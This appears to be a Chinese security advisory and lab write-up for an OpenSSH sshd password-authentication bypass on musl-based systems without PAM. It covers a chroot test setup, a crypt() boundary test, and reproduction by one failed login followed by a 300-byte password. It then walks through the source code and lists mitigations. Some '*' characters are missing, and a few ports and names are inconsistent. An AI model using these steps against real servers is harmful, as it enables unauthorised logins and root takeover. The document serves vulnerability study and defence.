一、漏洞说明
CVE官方链接:https://www.cve.org/CVERecord?id=CVE-2026-123158

Linux 平台上,版本早于 10.6p2 的 OpenSSH 中的 sshd 服务:在使用 musl libc、且未启用 PAM 的环境下,缺少针对密码认证绕过漏洞的修复逻辑(问题根源是程序错误判断一段字符串是否为密码哈希值)。在满足特定账号配置的情况下,长度介于 256~1024 字符之间的任意密码都能认证通过。使用 musl libc 并且不开启 PAM 的典型系统:Alpine Linux。
该漏洞源于muslibc的crypt()函数在失败时返回单字符“(而非POSIX规定的NULL),而OpenSSH在未启用PAM的认证路径中,对密码字段为的账户借用其他账户的真实盐值执行cryptO校验。当攻击者提交257~1024字节的超长密码时,musl的crypt0因KEY_MAX(256)长度限制返回,与影子密码字段比较相等,strcmp判定通过,攻击者可利用该漏洞无需任何有效凭据即可通过SSH密码认证登录仅允许密钥登录或已锁定密码的账户。成功绕过认证后,若目标账户具备免密sudo/doas权限(如Alpine云镜像默认alpine用户),攻击者可直接提权至root实现完全控制。
二、基本信息
公开时间 | 2026-11-05 |
威胁类型 | 认证绕过 |
CVSS 3.1 | 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
利用条件 | 无需凭据、无需交互 |
三、受影响版本
2016 年以来至 10.6p2 之前,运行于 musl libc 且未启用 PAM 的 OpenSSH sshd(Alpine、OpenWrt、Buildroot、Yocto 及 musl Docker 镜像)
四、影响组件
OpenSSH 是 OpenBSD 项目维护的广泛使用的开源 SSH 远程登录与加密传输服务组件,被广泛应用于 Linux、Unix 及嵌入式系统。musl libc 是面向嵌入式与容器场景的轻量级 C 标准库,被 Alpine Linux、 OpenWrt、Buildroot、Yocto 及大量 Docker 镜像采用。
五、利用条件
sshd 键接 muss libc, 且未启用 PAM;
PasswordAuthentication yes (默认开启);
存在 shadow 密码字段为 * 的帐户;
系统中至少还有一个带真实密码哈希 ($ 开头) 的帐户, 用于提供可借用的盐;
攻击者能在同一个 TCP 连接内完成两次认证尝试。
六、环境搭建
1、环境拓扑
宿主机 Kali Linux (45.76.xx.xx:2233)
└── /opt/lab/rootfs Alpine 3.24.4 chroot(musl 1.2.6)
├── /build/sshd 源码编译的 OpenSSH 10.3p1(无补丁)
├── /build/sshd-session 会话进程
├── /build/sshd-auth 认证进程(漏洞代码所在)
└── 监听 0.0.0.0:22272、下载并解压 Alpine rootfs
下载 Alpine 的最小根文件系统(约 3.6 MB),解压到 /opt/lab/rootfs,之后所有的实验都在这里面,不会到宿主机的kali系统。
mkdir -p /opt/lab && cd /opt/lab
curl -# -O https://dl-cdn.alpinelinux.org/alpine/v3.24/releases/x86_64/alpine-minirootfs-3.24.4-x86_64.tar.gz
ls -lh alpine-minirootfs-3.24.4-x86_64.tar.gz
mkdir -p rootfs
tar xzf alpine-minirootfs-3.24.4-x86_64.tar.gz -C rootfs
ls rootfs
3、挂载 /dev、/proc,进入 chroot
cd /opt/lab
mount --bind /dev rootfs/dev
mount -t proc proc rootfs/proc
cp /etc/resolv.conf rootfs/etc/resolv.conf
mount | grep /opt/lab/rootfs
chroot rootfs /bin/sh -c 'cat /etc/alpine-release; /lib/ld-musl-x86_64.so.1 2>&1 | head -2; id'
4、在 chroot 里装编译工具
chroot /opt/lab/rootfs /bin/sh -c 'apk update && apk add --no-cache build-base openssl-dev zlib-dev perl openssh-keygen'
chroot /opt/lab/rootfs /bin/sh -c 'gcc --version | head -1; make --version | head -1; command -v ssh-keygen perl'
5、下载 OpenSSH 10.3p1
将OpenSSH 10.3p1源码并放进 chroot(影响范围是「10.6p2 之前」,10.3p1 在区间内)
cd /opt/lab
curl -# -O https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-10.3p1.tar.gz
ls -lh openssh-10.3p1.tar.gz
tar xzf openssh-10.3p1.tar.gz
rm -rf rootfs/build
cp -a openssh-10.3p1 rootfs/build
ls rootfs/build | head -8
源码 2.0 MB,已放进 rootfs/build
6、configure(在 chroot 里)

7、编译
grep -i 'PAM support' /opt/lab/rootfs/tmp/configure.log
chroot /opt/lab/rootfs /bin/sh -c 'cd /build && make -j2 sshd sshd-session sshd-auth > /tmp/make.log 2>&1; echo "exit=$?"; ls -l sshd sshd-session sshd-auth'
三个二进制分别对应:监听器 sshd 、会话进程 sshd-session 、认证逻辑 sshd-auth (漏洞代码在这里)。
8、给sshd链接两个helper
mkdir -p /opt/lab/rootfs/usr/local/libexec
ln -sf /build/sshd-session /opt/lab/rootfs/usr/local/libexec/sshd-session
ln -sf /build/sshd-auth /opt/lab/rootfs/usr/local/libexec/sshd-auth
ls -l /opt/lab/rootfs/usr/local/libexec/
9、新建测试用户
用户1:lockeduser
lockeduser
shadow字段 *
攻击目标:等价于“仅密钥登录 / 已锁定密码”的账户
用户2:hashuser
lockeduser
shadow字段 $6$...
提供可借用的盐:漏洞前置条件之一是“机器上另有一个真实密码哈希的账户”
chroot /opt/lab/rootfs /bin/sh -c '
adduser -D -s /bin/sh lockeduser
adduser -D -s /bin/sh hashuser
echo "hashuser:RealPassw0rd!" | chpasswd
sed -i "s/^lockeduser:[^:]*:/lockeduser:*:/" /etc/shadow
grep -E "^(lockeduser|hashuser):" /etc/shadow
'
adduser -D 建出来是空密码,shadow 默认是 !。这里用 sed 强行改成 * —— 因为 ! 会被
platform_locked_account() 判定锁定账户、直接拒之门外,而 * 会被放行,到密码校验环节,漏洞才成立。
chpasswd 会调用 crypt() 生成 $6$ 哈希。这一步本身就会用到 musl 的实现,但密码长度只有 14 字
节,走的是正常路径。
10、生成主机密钥 + 写 sshd 配置
chroot /opt/lab/rootfs /bin/sh -c 'mkdir -p /etc/ssh /run/sshd && ssh-keygen -A && ls -l /etc/ssh/'
cat > /opt/lab/rootfs/etc/ssh/sshd_config <<'CFG'
Port 2227
ListenAddress 0.0.0.0
HostKey /etc/ssh/ssh_host_ed25519_key
HostKey /etc/ssh/ssh_host_rsa_key
PermitRootLogin no
PasswordAuthentication yes
KbdInteractiveAuthentication no
UsePAM no
AllowUsers lockeduser hashuser
LogLevel VERBOSE
PidFile /run/sshd.pid
PerSourcePenalties no
CFG
grep -Ev '^#|^$' /opt/lab/rootfs/etc/ssh/sshd_config
11、启动 sshd 并验证
chroot /opt/lab/rootfs /build/sshd -f /etc/ssh/sshd_config -p 2227 -E /var/log/sshd.log
sleep 1
ss -ltn | grep 2227
echo "--- 日志 ---"
cat /opt/lab/rootfs/var/log/sshd.log
Unsupported option UsePAM,这里不是错误,是证明这个 sshd 编译时就没有 PAM。正是漏洞成立的条件
Server listening on 0.0.0.0 port 222,监听成功。
12、验证 musl crypt() 的失败边界(重点)
cat > /opt/lab/rootfs/tmp/ct.c <<'EOF'
#include <crypt.h>
#include <stdio.h>
#include <string.h>
static void t(const char *tag, const char *pw, const char *salt)
{
const char *r = crypt(pw, salt);
printf("%-8s len=%-4zu -> %s\n", tag, strlen(pw), r ? r : "(NULL)");
}
int main(void)
{
static char pw[2048];
const char *s = "$6$sQfHnNO8Arlv3oCj$";
memset(pw, 'A', sizeof pw); pw[256] = 0; t("256B", pw, s);
memset(pw, 'A', sizeof pw); pw[257] = 0; t("257B", pw, s);
memset(pw, 'A', sizeof pw); pw[300] = 0; t("300B", pw, s);
memset(pw, 'A', sizeof pw); pw[1024] = 0; t("1024B", pw, s);
t("short", "hello", s);
t("salt*", "hello", "*");
return 0;
}
EOF
chroot /opt/lab/rootfs /bin/sh -c 'gcc -O1 -o /tmp/ct /tmp/ct.c -lcrypt && /tmp/ct'
256B | len=256 -> $6$sQfHnNO8Arlv3oCj$tFlkD9SnpBosyC9EhtiqOjHjaRtUkOEZ.XyX7ny6gY9pdDE1Rh2AuCkXC.eQf8lkutUkoDTVqPlCOaXa1Pi99. |
257B | len=257 -> * |
300B | len=300 -> * |
1024 | len=1024 -> * |
结果可以看出:
(1)256 字节还能正常出哈希 → 所以 256 打不通
(2)257B / 308B / 1024B 超过上限,统一返回 ,有效区间是 257 ~ 1024(漏洞利用点)
(3)salt 拿 当盐会返回 x,不是 , 所以必须去借别人的盐
八、漏洞复现
1、生成300个字节
python3 -c "print('A' * 300)" > /tmp/longpw
cat /tmp/longpw
2、使用ssh连接主机
ssh -p 2227 [email protected] id
成功进入系统,查看下ssh登录日志

首次登录失败,第二次成功,漏洞复现完成。
3、漏洞原理简单说明
这里第一次登录密码输入随机字符(例如:ceshiceshi),pick_salt() 遍历 getsppnam() 借盐,顺手把 pw_password 覆盖成了空串;盐被写进 static salt[32],比较失败。第二次密码输入300个A,pick_salt() 命中缓存、不再遍历pw_password 保住 "*" ,crypt(300字节) 返回 "*" , strcmp("*","*")==0 ,对比通过,成功登入。
九、漏洞分析
下载源码
curl.exe -O https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-10.3p1.tar.gz

测试用户的shadow值:lockeduser:*:20763:0:99999:7:::
第一部分:密码校验流程
1. 密码进入程序
auth2-passwd.c -> userauth_passwd()
55 char *password = NULL;
56 int authenticated = 0, r;
57 u_char change;
58 size_t len = 0;
59
60 if ((r = sshpkt_get_u8(ssh, &change)) != 0 ||
61 (r = sshpkt_get_cstring(ssh, &password, &len)) != 0 ||
62 (change && (r = sshpkt_get_cstring(ssh, NULL, NULL)) != 0) ||
63 (r = sshpkt_get_end(ssh)) != 0) {
64 freezero(password, len);
65 fatal_fr(r, "parse packet");
66 }协议入口,做三件事:读 1 字节 change(是否请求改密)、读密码字符串并记录长度 len、确认包里没有多余数据。
对密码不做任何校验,取到什么就是什么。较长的字符串都能进入内存。
第 64 行的 freezero 说明作者对密码生命周期有意识:出错时先清零再释放。
2. 密码被送进特权进程
monitor_wrap.c -> mm_auth_password()
488 if ((m = sshbuf_new()) == NULL)
489 fatal_f("sshbuf_new failed");
490 if ((r = sshbuf_put_cstring(m, password)) != 0)
491 fatal_fr(r, "assemble");
492 mm_request_send(pmonitor->m_recvfd, MONITOR_REQ_AUTHPASSWORD, m);
493
494 debug3_f("waiting for MONITOR_ANS_AUTHPASSWORD");
495 mm_request_receive_expect(pmonitor->m_recvfd,
496 MONITOR_ANS_AUTHPASSWORD, m);校验要读 /etc/shadow,需要 root;而处理网络的进程已降权。于是密码被复制进消息缓冲,通过管道发给特权进程 monitor,然后阻塞等回复。
两个后果:内存里出现了第二份密码副本;同一条连接在同一时刻只有一个认证请求在处理,后续两次尝试是严格串行的。
3. monitor 取出密码并调用校验
monitor.c -> mm_answer_authpassword()
1026 static int call_count;
...
1031 if (!options.password_authentication)
1032 fatal_f("password authentication not enabled");
1033 if ((r = sshbuf_get_cstring(m, &passwd, &plen)) != 0)
1034 fatal_fr(r, "parse");
1035 /* Only authenticate if the context is valid */
1036 authenticated = options.password_authentication &&
1037 auth_password(ssh, passwd);
1038 freezero(passwd, plen);monitor 侧的处理器:确认配置允许密码认证,取出密码(第三份副本),调用 auth_password(),用完清零。
第 1026 行的 static int call_count 说明 monitor 进程在整条连接期间常驻。这为后面“盐缓存能活到第二次尝试”提供了进程基础。
4. 密码长度校验
auth-passwd.c -> auth_password()
70 #define MAX_PASSWORD_LEN 1024
...
86 if (strlen(password) > MAX_PASSWORD_LEN)
87 return 0;整条链上唯一一次对密码长度的限制。判断用 >,所以 1024 字节通过、1025 字节被拒。
限制的初衷是防止超长输入拖慢哈希计算(拒绝服务防护),但它同时划定了攻击载荷的边界:
长度 | 结果 |
≤ 1024 | 继续往下走 |
> 1024 | 返回 0,crypt() 永远不会被调用 |
5. 岔路:启用 PAM 就不走内置校验
auth-passwd.c -> auth_password()
114 #ifdef USE_PAM
115 if (options.use_pam)
116 return (sshpam_auth_passwd(authctxt, password) && ok);
117 #endif两个条件:编译期带 USE_PAM,运行期 UsePAM yes。两者都成立时函数直接返回,下面的代码全部不执行。
这就是“未启用 PAM”成为漏洞前提的原因:PAM 路径根本不经过内置的 sys_auth_passwd()。
下一步先用密码做什么?
6. 先取账户的存储值,而不是处理密码
auth-passwd.c -> auth_password()
79 Authctxt *authctxt = ssh->authctxt;
80 struct passwd *pw = authctxt->pw;
81 int result, ok = authctxt->valid;
...
125 result = sys_auth_passwd(ssh, password);真正处理密码的是第 125 行的 sys_auth_passwd()。
auth-passwd.c -> sys_auth_passwd()
194 Authctxt *authctxt = ssh->authctxt;
195 struct passwd *pw = authctxt->pw;
196 char *encrypted_password, *salt = NULL;
197
198 /* Just use the supplied fake password if authctxt is invalid */
199 char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;第 199 行先取账户的密码字段:
条件 | 来源 | 典型内容 |
账户有效 | shadow_pw() -> /etc/shadow | 真实哈希 或 * |
账户无效 | pw->pw_passwd -> /etc/passwd | x(占位符) |
区分两条路是为了避免通过“读 shadow 的耗时差异”判断账户是否存在。
对“只允许密钥登录”的账户,字段是 *。此时提交的密码还在旁边,一点都没被用到。
7. 存储值决定能不能当盐
auth-passwd.c -> sys_auth_passwd()
208 /*
209 * Encrypt the candidate password using the proper salt, or pass a
210 * NULL and let xcrypt pick one.
211 */
212 if (authctxt->valid && pw_password[0] && pw_password[1])
213 salt = pw_password;
214 encrypted_password = xcrypt(password, salt);第 212 行三个条件:
条件 | 含义 | 对 * 的结果 |
authctxt->valid | 账户有效 | 真 |
pw_password[0] | 字段非空 | '*',真 |
pw_password[1] | 至少 2 个字符 | '\0',假 |
真哈希最短也有十几字符,1 个字符显然不是哈希,拿它当盐会让 crypt() 报错。所以这里选择“不用它”。
判断本身没错,但产生了副作用:salt 保持 NULL。
第 213 行还有一个细节:赋的是指针,不是拷贝。salt 与 pw_password 从此指向同一块内存。
接着salt 为 NULL 会触发借盐。
8. NULL 触发借盐
openbsd-compat/xcrypt.c -> xcrypt()
102 /*
103 * If we don't have a salt we are encrypting a fake password for
104 * for timing purposes. Pick an appropriate salt.
105 */
106 if (salt == NULL)
107 salt = pick_salt();注释交代了意图:没有盐时,是在为计时做一次“假验证”,让“账户无可用密码”的场景也走一遍哈希计算,使不同路径耗时接近,避免时序侧信道。
目标是对的,但把“选盐”的决定权完全交了出去。此时密码仍未参与。
接着看从什么地方借盐?
9. 借别的账户的盐
openbsd-compat/xcrypt.c -> pick_salt()
73 struct passwd *pw;
74 char *passwd, *p;
75 size_t typelen;
76 static char salt[32];
77
78 if (salt[0] != '\0')
79 return salt;
80 strlcpy(salt, "xx", sizeof(salt));
81 setpwent();
82 while ((pw = getpwent()) != NULL) {
83 if ((passwd = shadow_pw(pw)) == NULL)
84 continue;
85 if (passwd[0] == '$' && (p = strrchr(passwd+1, '$')) != NULL) {
86 typelen = p - passwd + 1;
87 strlcpy(salt, passwd, MINIMUM(typelen, sizeof(salt)));
88 explicit_bzero(passwd, strlen(passwd));
89 goto out;
90 }
91 }逐段:
第 76 行:static 缓冲,全进程共享;
第 78–79 行:缓存命中就直接返回,不再遍历;
第 80 行:默认值 xx(传统 DES 盐),兜底用;
第 81–82 行:从 /etc/passwd 头部开始遍历;
第 83 行:取每个账户的密码字段,取不到就跳过;
第 85 行:判断是否$6salt$hash 形式;
第 86–87 行:截取“算法前缀 + 盐”存进缓冲;
第 88 行:把取到的字段清零;
第 89 行:命中即跳出。
借到的不是整个哈希,只是前缀和盐:
$6$sQfHnNO8Arlv3oCj$r9S1v8mTA13X...
└──────┬──────┘└──┬──┘
算法前缀 盐 └─── 哈希部分被丢弃整台机器没有 $ 开头的字段时,salt 保持 xx,crypt() 走 DES 分支,返回正常哈希(漏洞不成立)
接下来看在借盐中有什么“违规”操作?
10. 存储值被覆盖,盐进了缓存
pick_salt() 第 83 行调用 shadow_pw(),后者内部调 getspnam()。
openbsd-compat/xcrypt.c -> shadow_pw()
131 char *pw_password = pw->pw_passwd;
...
134 struct spwd *spw = getspnam(pw->pw_name);
136 if (spw != NULL)
137 pw_password = spw->sp_pwdp;
...
155 return pw_password;第 137 行把指针指向 spw->sp_pwdp,第 155 行直接返回,没有拷贝。
getspnam() 返回的是 libc 内部的静态缓冲区,每次调用都复用同一块内存:
第 199 行 pw_password 指向 [ 静态缓冲区:"*" ]
第 83 行 遍历反复 getspnam(),同一块内存被改写
第 221 行 再读 pw_password -> 已不是 "*"但盐被缓存了(第 76 行 static、第 78 行判断):
第一次:缓存空 -> 完整遍历 -> 存储值被覆盖 -> 盐写入 salt[32]
第二次:缓存命中 -> 直接返回 -> 不遍历 -> 存储值不被覆盖
这就是“第一次必败、第二次才成”的技术原因,也解释了为什么必须同一连接——换连接就是新进程,缓存为空。
盐有了,接着看密码怎么参与?
11. 密码第一次被使用
openbsd-compat/xcrypt.c -> xcrypt()
106 if (salt == NULL)
107 salt = pick_salt();
...
117 crypted = crypt(password, salt);
...
120 return crypted;第 117 行,密码作为 crypt() 的第一个参数,和借来的盐一起送进去。
这是密码第一次真正参与运算——前面 10 步里它只被传递、被检查长度,从未影响任何判断。
第 120 行原样返回结果:不检查是否为合法哈希、不判 NULL、不判特殊字符串。
12. 结果和存储值比较
auth-passwd.c -> sys_auth_passwd()
216 /*
217 * Authentication is accepted if the encrypted passwords
218 * are identical.
219 */
220 return encrypted_password != NULL &&
221 strcmp(encrypted_password, pw_password) == 0;第 220 行判空,防止 NULL 传进 strcmp;第 221 行逐字节比较。
判定标准是“两个字符串是否完全相同”,而不是抽象的“密码是否正确”。
正常情况下这个比较可靠:两边都是哈希,密码不对就不相等。
到这里,流程本身没有问题。
第二部分:漏洞点
先看整体调用路径:
userauth_passwd -> mm_auth_password -> mm_answer_authpassword
-> auth_password -> sys_auth_passwd
-> shadow_pw
-> xcrypt -> pick_salt
-> crypt
-> strcmp漏洞点集中在同一段代码里:
auth-passwd.c -> sys_auth_passwd()(第 196–221 行)
196 char *encrypted_password, *salt = NULL;
...
199 char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;
...
208 /*
209 * Encrypt the candidate password using the proper salt, or pass a
210 * NULL and let xcrypt pick one.
211 */
212 if (authctxt->valid && pw_password[0] && pw_password[1])
213 salt = pw_password;
214 encrypted_password = xcrypt(password, salt);
215
216 /*
217 * Authentication is accepted if the encrypted passwords
218 * are identical.
219 */
220 return encrypted_password != NULL &&
221 strcmp(encrypted_password, pw_password) == 0;前面 12 步留下两个事实:盐是借来的,借的过程会覆盖 pw_password;比较是纯字符串比较。
现在把密码放进来。
13. 第一次输入密码尝试
输入密码:ceshiceshi
第 199 行 pw_password 指向 "*"
第 107 行 调 pick_salt()
第 83 行 遍历反复 getspnam(),覆盖 "*" -> 变成空串
第 87 行 盐写入 static salt[32]
第 117 行 crypt("ceshiceshi", 盐) -> 正常哈希
第 221 行 strcmp(正常哈希, "") -> 不相等 -> 失败失败有两个原因叠在一起:密码本来就不对;存储值被覆盖,比较对象都变了。
但它做了一件关键的事:把借来的盐缓存进了 static salt[32]。
14. 第二次尝试:300 字节密码
同一连接,输入 300 个 A:
第 199 行 pw_password 重新指向 "*"
第 107 行 调 pick_salt()
第 78 行 缓存命中,直接返回 -> 不遍历 -> "*" 未被覆盖
第 117 行 crypt(300 字节, 盐)
第 221 行 strcmp("*", "*") -> 相等 -> 通过决定性的一步在第 117 行。
musl -> src/crypt/crypt.c -> crypt()
char *crypt(const char *key, const char *salt)
{
static char buf[128];
return __crypt_r(key, salt, (struct crypt_data *)buf);
}musl -> src/crypt/crypt_r.c -> __crypt_r()
if (salt[1] == '6' && salt[2] == '$')
return __crypt_sha512(key, salt, output);musl -> src/crypt/crypt_sha512.c -> sha512crypt()
#define KEY_MAX 256
...
/* reject large keys */
for (i = 0; i <= KEY_MAX && key[i]; i++);
if (i > KEY_MAX)
return 0;musl -> src/crypt/crypt_sha512.c -> __crypt_sha512()
if (!p || q != testbuf || memcmp(...))
return "*";
return p;链条:
密码 300 字节,超过 KEY_MAX(256);
内层 sha512crypt() 返回 0(NULL);
外层 __crypt_sha512() 把 NULL 翻译成哨兵串 "*"。
15、总结
分层看,每一处都没有写错:长度检查是防护;盐不够格就不用;借盐做计时对齐;crypt() 失败返回哨兵值是为了调用方不崩。
问题出在两个正确设计的衔接处:
“加密失败”产生的哨兵字符串 "",恰好等于“无可用密码”账户的存储字段 "",而 OpenSSH 用纯字符串比较判定认证。
再叠加一个实现细节——借盐时 getspnam() 覆盖了存储值的指针来源——使得第一次尝试必败、第二次才能成功。
触发条件:musl libc 且未启用 PAM;目标账户 shadow 字段为 *;系统中存在其他真实 $ 哈希账户;密码长度 257~1024;同一连接内先失败一次。
拓展:为什么密码内容无所谓
长度 | crypt() 返回 |
≤ 256 | 正常哈希(长串 ...) |
257~1024 | "*" |
> 1024 | 到不了 crypt(),在 auth_password() 第 86 行被拒 |
所以第二次提交任意 257~1024 字节的内容,结果都一样。
密码在这条链上的唯一作用:用长度把 crypt() 逼到失败分支。
十、修复措施
1、安全更新
官方已发布安全补丁,请及时更新至最新版本:
OpenSSH >= 10.6p2
下载地址:
https://www.openssh.org/portable.html
Alpine 等 musl 发行版可执行 apk upgrade openssh 并重启 sshd;源码部署需升级到 10.6p2 后重新编译安装。
2、临时缓解措施
关闭密码认证并重启 sshd:在 /etc/ssh/sshd_config.d/00-no-passwords.conf 写入 PasswordAuthentication no(Alpine 执行 rc-service sshd restart);
关闭密码认证并重启 sshd:在 /etc/ssh/sshd_config.d/00-no-passwords.conf 文件中添加 PasswordAuthentication no 的配置项(在 Alpine 系统中执行 rc-service sshd restart 命令来实现这一操作);
将 PermitRootLogin 设置为 prohibit-password 或 no;
注意:在未启用 PAM 的 Alpine 等 musl 系统上,不要将 /etc/shadow 中的 "*" 改为 "!",否则会导致合法用户无法使用 SSH 密钥登录;
若已暴露,应检查 sshd 日志中本应无密码的账户是否出现 Accepted password 记录。